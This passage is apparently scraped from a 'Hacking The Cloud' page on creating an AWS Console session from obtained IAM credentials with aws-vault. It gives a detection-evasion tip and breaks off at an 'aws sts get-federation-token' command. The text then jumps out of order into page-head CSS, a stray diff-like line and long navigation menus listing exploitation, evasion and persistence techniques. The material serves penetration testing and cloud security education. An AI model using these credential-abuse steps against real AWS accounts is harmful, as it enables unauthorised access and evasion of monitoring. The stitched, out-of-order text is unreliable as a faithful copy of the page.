AWS exploitation framework, designed for testing the security of Amazon Web Services environments.</p> </li> </ul> </div> <p>When performing an AWS assessment you will likely encounter IAM credentials. These credentials can be used with the <a href=https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/#working-with-the-keys>AWS CLI</a> or other tooling to query the AWS API. </p> <p>While this can be useful, sometimes you just can't beat clicking around the console. If you have IAM credentials, there is a way that you can spawn an AWS Console session using a tool such as <a href=https://github.com/99designs/aws-vault>aws-vault</a>. This can make certain actions much easier rather than trying to remember the specific flag name for the AWS CLI.</p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>If you are using temporary IAM credentials (ASIA...), for example, from an EC2 instance, you do not need to have any special IAM permissions to do this. If you are using long-term credentials (AKIA...), you need to have either <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/get-federation-token.html>sts:GetFederationToken</a> or <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/assume-role.html>sts:AssumeRole</a> permissions. This is to generate the temporary credentials you will need.</p> </div> <div class="admonition tip"> <p class=admonition-title>Tip</p> <p>If you are attempting to avoid detection, this technique is <strong>not</strong> recommended. Aside from the suspicious <code>ConsoleLogin</code> CloudTrail log, and the odd user-agent (Ex: Why is the IAM role associated with the CI/CD server using a Firefox user-agent string?), you will also generate a ton of CloudTrail logs.</p> </div> <h2 id=using-aws-vault>Using aws-vault<a class=headerlink href=#using-aws-vault title="Permanent link">&para;</a></h2> <p>To start, <a href=https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/#working-with-the-keys>export the relevant environment variables</a> for the IAM credentials you have. Next, <a href=https://github.com/99designs/aws-vault#installing>install aws-vault</a>.</p> <p>From here, perform the following commands depending on the type of credentials you have.</p> <h3 id=user-credentials>User Credentials<a class=headerlink href=#user-credentials title="Permanent link">&para;</a></h3> <p>For long-term credentials (Those starting with AKIA), there is an extra step that must be completed first. You will need to generate temporary credentials to retrieve the sign in token. To do this, we will make use of <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/get-federation-token.html>sts:GetFederationToken</a>. As an alternative, <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/assume-role.html>sts:AssumeRole</a> can also be used.</p> <div class=highlight><pre><span></span><code>aws sts get-federation-token --name blah
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#using-aws-vault class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5 checked> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=true> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#using-aws-vault class=md-nav__link> <span class=md-ellipsis> Using aws-vault </span> </a> <nav class=md-nav aria-label="Using aws-vault"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#user-credentials class=md-nav__link> <span class=md-ellipsis> User Credentials </span> </a> </li> <li class=md-nav__item> <a href=#sts-credentials class=md-nav__link> <span class=md-ellipsis> STS Credentials </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami 